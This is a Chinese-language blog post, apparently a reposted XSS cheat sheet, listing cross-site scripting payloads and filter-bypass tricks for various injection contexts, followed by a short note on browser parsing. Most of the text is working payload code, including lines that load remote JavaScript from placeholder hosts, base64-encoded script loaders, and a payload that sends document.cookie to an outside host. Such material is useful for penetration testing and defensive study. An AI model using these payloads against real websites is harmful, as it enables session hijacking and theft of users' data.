昔日

xss总结

Jw0N9'Blog:

0x00、常见编码  


//浏览器是不会在html 标签里(注意 是标签里面) 解析js中的那些编码(js8和16,jsunicode)
html实体编码(10进制与16进制):
如把尖括号编码[ < ] —–> html十进制: &#60; html十六进制:&#x3c;
javascript的八进制跟十六进制:
如把尖括号编码[ < ] —–> js八进制:\74 js十六进制:\x3c
jsunicode编码:
如把尖括号编码[ < ] —–>jsunicode:\u003c
url编码 base64编码:
如把尖括号编码[ < ] —–> url: %3C base64: PA==


HTML5 新增的实体命名编码: //这个比较66666
&colon; => [冒号]
&NewLine; => [换行]
ex: <a href=”javasc&NewLine;ript&colon;alert(1)”>click</a>


 


1×00、绕过总结
我首先会看看输出位置。
x01、<HTML标签></HTML标签>之间
1、<script src=””></script>
2、<img src=aa onerror=“alert(/xss/)” />


x02、<script>[输出]</script>之间
1、如果没有过滤了 <, > 使用</script>闭合,然后直接插入自己的代码
2、如果过滤了 <, >
使用eval() 函数 //eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
ex: eval(‘alert(/xss/)’);
3、(过滤双引号时候)宽字节注入(gbxxxx系列的编码,如:gb18030)
%c0%22;alert(1);//aaaaaa
其中 %c0吃掉了后面的%5c (/)
4、反斜线 \ (杀掉后面的双引号)
“&ss=aaaa\”+”&from=1//”+”&param=”; // 用// 注释
“&ss=aaaa\”+”&from==1//”+”&param=”; // ==的优先级比 & 高
如果爆出from”未定义,javascript中function xxx(){} 形式定义的函数,都会被最优先解析
空格被转义为了 &nbsp; 用 /**/ 替换空格
5、回车符号 %0a %0d%0a
可以在注释中控制语句
EX:/我是注释,我爱洗澡,哦~哦~哦~ [我是输出 换行符
alert(1);//我是输出]
javascript字符串多行写法:
var a=”我是一个字符串\
我还是一个字符串”;


x03、输出出现在HTML标签的属性之中
ex:<input value”>=”输出 <img onload=”…[输出]…”> <body style=”…[输出]…”>
1、https://xxxx.com/search.php?word=乌云欢迎您” onclick=”alert(1)
代码区域:<input type=”text” value=”乌云欢迎您” onclick=”alert(1)” />
2、过滤了 ” 的时候(没有过滤\) 利用css expression (只支持IE5,6,7。8已经取消)
css里,允许使用转义字符, \ + ascii16进制形式
过滤了expression, 我们也可以轻松的用expr\65ssion绕过。
<HTML标签 onXXXX=”…[输出在这里]..”> <a href=”javascript:[输出在这里]”>xxxx </a> 与 <script>[输出]</script> 没有太大区别
在HTML属性中,会自动对实体字符进行转义(HEX转义)
&#x0NN; &#x00NN都是可以的。 或者是 &#10进制;
以及一些特殊的HTML实体,如 &quot;等,都要注意到,好麻烦, 最好的办法,还是 &过滤为 &amp; :)
故: <img src=”1″ onerror=”alert(1)”> = <img src=”1″ onerror=”alert&#x28;1&#x29;”>
EX:先hex转义
aaaaaa&#x27;+alert(1)+&#x27;’
然后url编码 &-> %26, # -> %23
aaaaaaa%26%23×27;%2balert(1)%2b%26%23×27;


x03、iframe


<iframe src=”[输出]”></iframe>
<iframe onload=”alert(1)”></iframe>
<iframe src=”javascript:alert(1)”></iframe>
IE下vbscript执行代码: <iframe src=”vbscript:msgbox(1)”></iframe> // vbscript里 ‘ 单引号表示注释,类似JS里的//
Chrome下data协议执行代码:<iframe src=”data:text/html,<script>alert(1)</script>”></iframe> Chrome
上面的变体:<iframe src=”data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;”></iframe>
Chrome下srcdoc属性:<iframe srcdoc=”&lt;script&gt;alert(1)&lt;/script&gt;”></iframe>


x04、Dom显输出
JS的字符串中的字符可以写为 unicode编码
工具地址:https://app.baidu.com/app/enter?appid=280383
ex:< 可以表示为 \u003c , > 可以表示为 \u003e
document.getElementById(“a”).innerHTML=”\u003cimg src=1\u003e”;
< 不光可以写为 \u003c,还可以写为 \x3c, > 同样可以写为 \x3e
当aa.innerHTML=”xxxxxxxxxxxx”; 时候
xxxxx只能使用 <img src=1 onerror=alert(1)> 这种方式来触发JS


过滤了 <>的话 有时候可以用 %bf u003cu 等来绕过。或者用String.fromCharCode 函数转换成 asc码
跨域请求。跨域请求数据的手段中,有一种叫做jsonp。
somescript.src=”https://otherdomain.com/xx?jsonp=callback”
3.1 script src=”完全可控” ,这种就简单了,直接将地址换为我们的JS地址
3.2 script src=”/path/xxx/[路径可控]/1.js
3.2.1 可以直接上传文本至同域名下,不一定要是HTML文件,需要上传点有过滤缺陷。
3.2.2 参数可控,利用可用的json接口。最终变为 script src=”/path/xxx/…/yyy/xx.json?callback=alert(1)”
3.3 script src=”/xxxx/json.php?callback=xxxx&param1=yyy&param2=[参数可控]”
x05、绕过浏览器的过滤器
1、<script src=data:,alert(1)<!–
2、利用网站js代码replace所替换的值来绕过


 


2×00、加载js总结:
<img src=x onerror=s=createElement(‘script’);body.appendChild(s);s.src=’你的js地址';>


<img src=x onerror=document.body.appendChild(document.createElement(‘script’)).src=’//xxx.xxx/a.js’>


<script>window.open(‘https://xxx.xxx/cookie.asp?msg=’+document.cookie)</script>


<script src=https://xxx.xxx/a.js></script>


<input autofocus=”” onfocus=”……..” />


可控多个输出的时候
<script>z=’document.'</script>
<script>z=z+’write(“‘</script>
<script>z=z+'<script'</script>
<script>z=z+’ src=ht'</script>
<script>z=z+’tp://ww'</script>
<script>z=z+’w.shell'</script>
<script>z=z+’.net/1.'</script>
<script>z=z+’js></sc'</script>
<script>z=z+’ript>”)'</script>
<script>eval_r(z)</script>


<object data=”data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4=”></object>
<iframe src=”data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4=”></iframe>


PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4= 是 <script src=https://xxx.xxx/a.js></script>


支持data url 的标签还有
<anchor>、<img>(data url不允许执行js) <a>(需点击) <meta>…..


比如, 支持 jquery的话(通过查看源代码,你可以看出是否支持)
我们直接这样调用就可以了
$.getScript(“//xxx.xxx/a.js”);


 


3×00、浏览器工作原理
解析器-词法分析器 Parser-Lexer combination
解析可以分为两个子过程——语法分析及词法分析


词法分析就是将输入分解为符号,符号是语言的词汇表——基本有效单元的集合。对于人类语言来说,它相当于我们字典中出现的所有单词。


语法分析指对语言应用语法规则。


解析器一般将工作分配给两个组件——词法分析器(有时也叫分词器)负责将输入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。






tips:https://www.iamstudy.cn/index.php/2014/11/30/225.html

评论

热度(1)